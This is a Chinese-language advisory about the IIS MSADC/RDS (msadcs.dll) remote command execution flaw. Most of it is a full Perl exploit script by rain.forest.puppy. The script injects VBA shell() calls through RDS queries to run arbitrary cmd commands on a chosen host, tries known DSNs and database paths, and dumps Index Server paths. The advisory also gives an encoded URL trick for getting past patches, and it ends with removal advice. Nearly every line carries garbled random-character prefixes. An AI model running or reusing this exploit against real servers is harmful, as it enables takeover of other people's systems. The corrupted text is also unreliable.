IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_c6 zzGtH >)S'`e4Gu 涉及程序：
wfc+E9E Microsoft NT server
ru1FJ{n }J\KnaKo 描述：
8:t1%O$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%'<m[wf^ o kNTxYJ 详细：
"Yf?33UNZ 如果你没有时间读详细内容的话，就删除:
Qv:J#uVw?O c:\Program Files\Common Files\System\Msadc\msadcs.dll
|Xa|%f 有关的安全问题就没有了。
K6z-brvw " b. oA}XP 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
9 A1w5|X Se&%Dr3Nv 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
AC/8 2$ 关于利用ODBC远程漏洞的描述，请参看:
)ia$pe s d#wK http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Vr%!rQ cy4V*zwp 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
{
w :9w http://www.microsoft.com/security/bulletins/MS99-025faq.asp _K| 513I y5 bELWA 这里不再论述。
E|
=~rIKN [P"R+$"
3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Vch!&8xii h; sdm/ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7q,M2 v; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
~`x<;Ts a] |k w4 <IL$8a #将下面这段保存为txt文件，然后: "perl -x 文件名"
)9JuQ_ R B$cx
'_zF #!perl
sy.U] QG #
wXxk+DV@ # MSADC/RDS 'usage' (aka exploit) script
~",,&>#[K #
)t$|'c} # by rain.forest.puppy
.]W A/} #
Uw5`zl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^ YG.eT6iG # beta test and find errors!
1]j_4M14aA &`4v,l^Zi6 use Socket; use Getopt::Std;
a
uz2n getopts("e:vd:h:XR", \%args);
1u0 NG)*f j(ma j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
u6( >?r- &MsBcP[ if (!defined $args{h} && !defined $args{R}) {
-K G3_k E print qq~
a7UfRG Usage: msadc.pl -h <host> { -d <delay> -X -v }
)q+9_ KU q -h <host> = host you want to scan (ip or domain)
O <v9i4* -d <seconds> = delay between calls, default 1 second
SRx `m,535 -X = dump Index Server path table, if available
3xnu SOdh -v = verbose
mf)o1O&B -e = external dictionary file for step 5
(j ;6}@ " | l-NUe Or a -R will resume a command session
\aG:l.IM0 4l*4w x""v ~; exit;}
H:HJHd"W L'F y\K\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k f<5`8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
* F T )` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
bqDHLoB\1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Hc{0 O7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
o-jF ?9m if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)
Pdl [+a X%b.] A if (!defined $args{R}){ $ret = &has_msadc;
q"[8u ]j die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
U3yIONlt /n SmGAO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8?r RLM4 . "cmd /c ";
*0`oF TJ $in=<STDIN>; chomp $in;
~y(- j[ $command="cmd /c " . $in ;
H]7 ;O M/g 3yfq*\_uXw if (defined $args{R}) {&load; exit;}
a jCx"J yS[Z%]bvU print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
c{u~=24;%# &try_btcustmr;
E5<}7 Pt VfiMR%i} print "\nStep 2: Trying to make our own DSN...";
NN9` jP2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e/;chMCq ^3L6mOoA print "\nStep 3: Trying known DSNs...";
^^I3%6UY &known_dsn;
@*gm\sU4
TVP. )% print "\nStep 4: Trying known .mdbs...";
6Q. _zk &known_mdb;
# N.(ZP iPxhDn<B if (defined $args{e}){
$(6 .K- D print "\nStep 5: Trying dictionary of DSN names...";
LA.x LU3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6%B5hv24v Ppzd.=E print "Sorry Charley...maybe next time?\n";
+89s+4Jn exit;
Uaho.(_GP ='0f#>0Q ##############################################################################
#D$vH jyt#C7mj-A sub sendraw { # ripped and modded from whisker
)k8=< =s sleep($delay); # it's a DoS on the server! At least on mine...
lnFOD+ y9 my ($pstr)=@_;
*kXSl73 k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A qKl}8 die("Socket problems\n");
q1Si*?2W if(connect(S,pack "SnA4x8",2,80,$target)){
'V5^ D<1P select(S); $|=1;
MhNDf[W> print $pstr; my @in=<S>;
=;/4j'1} 9 select(STDOUT); close(S);
bV#U&)| return @in;
"3*Chc } else { die("Can't connect...\n"); }}
\1 [I(u X p=Y<`dX ##############################################################################
:A,V<Es}I" 64^dy V,; sub make_header { # make the HTTP request
J2`b:%[ my $msadc=<<EOT
D@i,dPz5Zl POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
QM1- w ^ User-Agent: ACTIVEDATA
|yi3y `f Host: $ip
Ok+zUA[Wu Content-Length: $clen
9K@>{69WQ Connection: Keep-Alive
FBM 73D@` U/2g N
H ADCClientVersion:01.06
Ey 77]\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
x7X"'1U 0(|BQ'4~H --!ADM!ROX!YOUR!WORLD!
Op h4&Ip[w Content-Type: application/x-varg
6EhRCl Content-Length: $reqlen
nBd!296 u,
%mVd EOT
%($qg-x ; $msadc=~s/\n/\r\n/g;
. F 0V return $msadc;}
_XtLO- D n<p`OKIV3 ##############################################################################
:>$)Snqo=n kSH3)CC P sub make_req { # make the RDS request
b'^ OW my ($switch, $p1, $p2)=@_;
${#5$U+kI my $req=""; my $t1, $t2, $query, $dsn;
I72UkmK` }ZEh^zdz8 if ($switch==1){ # this is the btcustmr.mdb query
z i23k= $query="Select * from Customers where City=" . make_shell();
M#J OX/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5r<%xanXW/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
"-y\F}TE Sq&*K9:z elsif ($switch==2){ # this is general make table query
N 5rY*S $query="create table AZZ (B int, C varchar(10))";
cWl)ZE<hM $dsn="$p1";}
JE X{j f JbG\Ywi0] elsif ($switch==3){ # this is general exploit table query
GdavCw J $query="select * from AZZ where C=" . make_shell();
jK#y7E $dsn="$p1";}
. *>L D $jb 0/ elsif ($switch==4){ # attempt to hork file info from index server
N:!XtYA< $query="select path from scope()";
Hw5\~!FX $dsn="Provider=MSIDXS;";}
0}q ij PKR0y%Ar elsif ($switch==5){ # bad query
"_ b
Sy $query="select";
v#.FK:u } $dsn="$p1";}
*$x/(!UE BbZ-dXC< $t1= make_unicode($query);
D>,]EE- $t2= make_unicode($dsn);
H*3f8A&@s $req = "\x02\x00\x03\x00";
,~FyC_%*
$req.= "\x08\x00" . pack ("S1", length($t1));
5+G W% U/ $req.= "\x00\x00" . $t1 ;
V -CPq $req.= "\x08\x00" . pack ("S1", length($t2));
!W/O g 5n $req.= "\x00\x00" . $t2 ;
-[s*R% w $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
0k>NuIIP return $req;}
:tM|$TZ Z!C\n[R/ ##############################################################################
Z~8Xp _ > .TB \ sub make_shell { # this makes the shell() statement
|v8 >22y return "'|shell(\"$command\")|'";}
9u1)K r=e ]DdD
FLM ##############################################################################
4x=rew>Ew @QtJ/("&WC sub make_unicode { # quick little function to convert to unicode
/a6\G.C5 my ($in)=@_; my $out;
A6}M F for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*Xt#04_ return $out;}
!h7` W*:: Ly\$?3 h ##############################################################################
P"_x/C(]@J &by,uVb=|{ sub rdo_success { # checks for RDO return success (this is kludge)
71cc6T my (@in) = @_; my $base=content_start(@in);
?]f+)tCMs if($in[$base]=~/multipart\/mixed/){
_%!C;`3Y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
F8Y D: return 0;}
q|om ^:n. ~R/7J{Sg ##############################################################################
<"/Y`/ E8=.TM]L sub make_dsn { # this makes a DSN for us
|!dyk<}oIu my @drives=("c","d","e","f");
m~r^@D print "\nMaking DSN: ";
a@zKi; foreach $drive (@drives) {
2 Ua_7 print "$drive: ";
\P!v9LX( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
LLg ']9 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
TclZdk]%T . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
b]~X
U $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
5?k_Q"~ return 0 if $2 eq "404"; # not found/doesn't exist
~*Ve>4 if($2 eq "200") {
HGB96,o f9 foreach $line (@results) {
|]DZc/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
M9]O!{ sq } return 0;}
g GN [AqR IoJkM-^H&) ##############################################################################
~.AUy%$_g+ 1[J&^@t[h6 sub verify_exists {
-hL8z$} my ($page)=@_;
{ L JwW*? my @results=sendraw("GET $page HTTP/1.0\n\n");
9+9}^B5@A return $results[0];}
' /b,3: $WnK ##############################################################################
#@Z z
Bf B[C2uVEX: sub try_btcustmr {
G?e,Q$ my @drives=("c","d","e","f");
q+ dY&4&u my @dirs=("winnt","winnt35","winnt351","win","windows");
6,uW{l8L s[h' W~ foreach $dir (@dirs) {
}@4m@_gR? print "$dir -> "; # fun status so you can see progress
}0?642 =- foreach $drive (@drives) {
j)C%zzBu( print "$drive: "; # ditto
<|Bh;; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O9A.WSJ
>} $reqlenlen=length( "$reqlen" );
}{:H0)H* $clen= 206 + $reqlenlen + $reqlen;
f&H):. X~5TA)h;~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
iYHD:cg)~ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=bZ>>-< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
fV
Ah</aZ e<l Wel ##############################################################################
tn6\0_5n X82 sw>Y sub odbc_error {
"X>Z!> my (@in)=@_; my $base;
0+; .T1? my $base = content_start(@in);
/81Ux@,(e if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
/Y:_qsO1 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B y6: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B~lrd#qC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_,NL;66=[ return $in[$base+4].$in[$base+5].$in[$base+6];}
W*u Yb|0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9 X@y*;w<t print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zbx,qctYo$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Yj /S(4(h? mDvZ 1aj ##############################################################################
KZ`d3a d QT9(s\u sub verbose {
WH vN6 my ($in)=@_;
]$4 k+)6 return if !$verbose;
\UGs_5OT print STDOUT "\n$in\n";}
aIRCz=N +~ :1H.
##############################################################################
b, ~4O~z ToCB*GlL sub save {
wP6~HiC my ($p1, $p2, $p3, $p4)=@_;
$oH?oD1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
bh6Mh< + print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
NV9D;g$Y close OUT;}
b@Ik
c< -mO[ ;l O ##############################################################################
iwJBhu0@# \ QBODJ1 sub load {
6BFtY+.y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Mm :6+ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.O3i"X] @p=<IN>; close(IN);
pYI`5B4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
g>_6O[;t% $target= inet_aton($ip) || die("inet_aton problems");
(pH13qU5 print "Resuming to $ip ...";
>72j,0=e $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`w@fxv if($p[1]==1) {
)mB+#T<k- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
PX(.bP2^Lq $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}v;@1[.B my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c*1t <OAS~ if (rdo_success(@results)){print "Success!\n";}
68* h#& else { print "failed\n"; verbose(odbc_error(@results));}}
-G(z!ed elsif ($p[1]==3){
+su>0'a if(run_query("$p[3]")){
<3LyNG. print "Success!\n";} else { print "failed\n"; }}
KU"? ZI elsif ($p[1]==4){
y!1%Kqx1,n if(run_query($drvst . "$p[3]")){
s)_7*DY print "Success!\n"; } else { print "failed\n"; }}
]V<[W,*(5 exit;}
:w#Zs)N Ii,e=RG> ##############################################################################
{|^9y]VFu Um 4
} ` sub create_table {
I6M 7xn my ($in)=@_;
GW
?.b_6* $reqlen=length( make_req(2,$in,"") ) - 28;
:tedtV ~ $reqlenlen=length( "$reqlen" );
3K @dW"3 $clen= 206 + $reqlenlen + $reqlen;
FdKp@&O+1 my @results=sendraw(make_header() . make_req(2,$in,""));
TCX* $ac" return 1 if rdo_success(@results);
{K09U^JU my $temp= odbc_error(@results); verbose($temp);
S3MMyS8 return 1 if $temp=~/Table 'AZZ' already exists/;
KY! return 0;}
]V6<h Psi Ib*l{cxN ##############################################################################
s!9.o_k 5MQD:K2 sub known_dsn {
!\}Dxt # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U!XC-RA3
_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
SWz+.W{KQ" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e/r41 "banner", "banners", "ads", "ADCDemo", "ADCTest");
UkG|5P` bVQLj}% foreach $dSn (@dsns) {
q+19EJ( print ".";
[~W"$sT next if (!is_access("DSN=$dSn"));
Z uo7MR if(create_table("DSN=$dSn")){
{<\nl#} 5S print "$dSn successful\n";
R^1sbmwk if(run_query("DSN=$dSn")){
y{uR h>l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z WL/ AC print "Something's borked. Use verbose next time\n";}}} print "\n";}
6ALf`: js^@tgf$x& ##############################################################################
G':mc{{ ^e"BY( sub is_access {
IU{~{(p" my ($in)=@_;
Tt `|26/ $reqlen=length( make_req(5,$in,"") ) - 28;
x4Cr Wm $reqlenlen=length( "$reqlen" );
sw[1T_S> $clen= 206 + $reqlenlen + $reqlen;
L
oe !@c my @results=sendraw(make_header() . make_req(5,$in,""));
|n \HxU3 my $temp= odbc_error(@results);
(8?t0}#t verbose($temp); return 1 if ($temp=~/Microsoft Access/);
H2BD 5 return 0;}
9 b``l-rO qmdl:J|? ##############################################################################
}9/ 30 "w*VyD sub run_query {
z\pT nteO my ($in)=@_;
NN\% X3ri" $reqlen=length( make_req(3,$in,"") ) - 28;
lf4-Ci*X $reqlenlen=length( "$reqlen" );
k_r12Bu $clen= 206 + $reqlenlen + $reqlen;
pD9*WK Ef* my @results=sendraw(make_header() . make_req(3,$in,""));
yc8iT` return 1 if rdo_success(@results);
SuB;Nb7r` my $temp= odbc_error(@results); verbose($temp);
c_~)#F%P return 0;}
|qH -^b.F T6=c9f?7 ##############################################################################
SpdQ<] EFW'D=&h8 sub known_mdb {
<ap%+(!I my @drives=("c","d","e","f","g");
^o,P>u!9 my @dirs=("winnt","winnt35","winnt351","win","windows");
y1p^
&9 U my $dir, $drive, $mdb;
"diF$Lj my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
` J|bGf# "9!ln # this is sparse, because I don't know of many
WogJ~N,d53 my @sysmdbs=( "\\catroot\\icatalog.mdb",
M`-#6 ,m3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
X ~* 1 "\\system32\\certmdb.mdb",
u >
XCE|D* "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\U(qv(T F-R4S^eV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ZN~:^,PO/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
D.kLx @Z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p[4KN(PyK "\\cfusion\\cfapps\\security\\realm_.mdb",
3 q^3znt "\\cfusion\\cfapps\\security\\data\\realm.mdb",
%E}f7GT 4 "\\cfusion\\database\\cfexamples.mdb",
J(ZYoJ "\\cfusion\\database\\cfsnippets.mdb",
]OL
O~2j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-M2c 8P:.b "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<.HX_z3l "\\cfusion\\brighttiger\\database\\cleam.mdb",
m=j xTZK "\\cfusion\\database\\smpolicy.mdb",
)[|TxXz
d "\\cfusion\\database\cypress.mdb",
kl4FVZof "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@] uvpI!h "\\website\\cgi-win\\dbsample.mdb",
g XZ C% S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
o9(:m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
'`p#%I@ ); #these are just
x9 bfH1 foreach $drive (@drives) {
S t7ZyN1 foreach $dir (@dirs){
qa)X\0 foreach $mdb (@sysmdbs) {
)cJ9YKKy print ".";
*v
1hMk if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
u27 K
0} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
O68/Hf1W if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,j>A[e&. print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/oKa?iT } else { print "Something's borked. Use verbose next time\n"; }}}}}
|k1(|)%G #!wu }nDu foreach $drive (@drives) {
qPDe;$J) foreach $mdb (@mdbs) {
&}_ $@ print ".";
R*VRxQ,h6+ if(create_table($drv . $drive . $dir . $mdb)){
J,D u:|3o print "\n" . $drive . $dir . $mdb . " successful\n";
vnwS &;-k~ if(run_query($drv . $drive . $dir . $mdb)){
kG@~;*;l print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9dn~nnd'n } else { print "Something's borked. Use verbose next time\n"; }}}}
Jz(wXp
}
btoye \ rl {&nL'R ##############################################################################
uDvZ]Q| . ~,3+]ts='\ sub hork_idx {
o *)>aw print "\nAttempting to dump Index Server tables...\n";
L}5nq@Uu) print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
.xo#rt9_"= $reqlen=length( make_req(4,"","") ) - 28;
LfOXgn\ $reqlenlen=length( "$reqlen" );
B*!{LjXV $clen= 206 + $reqlenlen + $reqlen;
o9& 1Ct my @results=sendraw2(make_header() . make_req(4,"",""));
hC2 @Gq if (rdo_success(@results)){
! eXDN my $max=@results; my $c; my %d;
d#xi_L! for($c=19; $c<$max; $c++){
_C n[|E $results[$c]=~s/\x00//g;
zO)A_s.6K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
n`gW&5,,z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)F*;7]f $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
3]"RaI4Q 0 $d{"$1$2"}="";}
V<:scLm#OF foreach $c (keys %d){ print "$c\n"; }
wXI6KN- } else {print "Index server doesn't seem to be installed.\n"; }}
$L%gQkz_ t1"-3afe ##############################################################################
cc`+rD5I- +LFh}-X{_ sub dsn_dict {
}GI8p* ]o= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-7{ qTe { while(<IN>){
9>?3FMKdY $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)RV.N}NU next if (!is_access("DSN=$dSn"));
<* k]Aa3y if(create_table("DSN=$dSn")){
uU_lC5A| print "$dSn successful\n";
;%wQnhg if(run_query("DSN=$dSn")){
*%'nlAX6% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
KYBoGCS > print "Something's borked. Use verbose next time\n";}}}
FbO\ #p s print "\n"; close(IN);}
h[H FZv~{ /`$9H| ##############################################################################
q$IgkL Jd#g"a>zZ sub sendraw2 { # ripped and modded from whisker
zv/o wK sleep($delay); # it's a DoS on the server! At least on mine...
Y,0D+sO4 my ($pstr)=@_;
>F7v'-*{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vU|=" # die("Socket problems\n");
|h Gi8 if(connect(S,pack "SnA4x8",2,80,$target)){
4 :m/w !q$ print "Connected. Getting data";
d0ZbusHHb open(OUT,">raw.out"); my @in;
QE8;Jk- select(S); $|=1; print $pstr;
kq +`. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
2 smQD8t close(OUT); select(STDOUT); close(S); return @in;
6[wA X } else { die("Can't connect...\n"); }}
/DLgE7iU% R;D|To! ##############################################################################
F&pJ faig &IYSoA"Nz sub content_start { # this will take in the server headers
f-]5ZhM' my (@in)=@_; my $c;
~d5f]6#` for ($c=1;$c<500;$c++) {
q8 jI
y@ if($in[$c] =~/^\x0d\x0a/){
Ig b@aG A if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
hH XTSk2 else { return $c+1; }}}
'1rHvz`B/" return -1;} # it should never get here actually
1:{BC 2P =6Z$nc
R ##############################################################################
#>)OLKP ?mM6[\DFoT sub funky {
lHl1Ny\? my (@in)=@_; my $error=odbc_error(@in);
J+IkTqw if($error=~/ADO could not find the specified provider/){
@o otKY` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]&;M 78^6 exit;}
\M(#FS if($error=~/A Handler is required/){
M$L ; -T print "\nServer has custom handler filters (they most likely are patched)\n";
F,F1 Axf exit;}
U`*L` PM if($error=~/specified Handler has denied Access/){
.MUoNk! print "\nServer has custom handler filters (they most likely are patched)\n";
..u2IdEu exit;}}
gFBMARxi 7Qoy~=E ##############################################################################
a@mMa { %v)m&VUi% sub has_msadc {
Fke_ms= I^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
r* I u6 my $base=content_start(@results);
@ x u/&pbI return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*21foBfqh return 0;}
b&iJui"7k \9 FWH}| ########################
`-,yJ O C qI -XcX1_ 解决方案：
bi =IIVlH 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
? ?MF8 uv 2、移除web 目录: /msadc
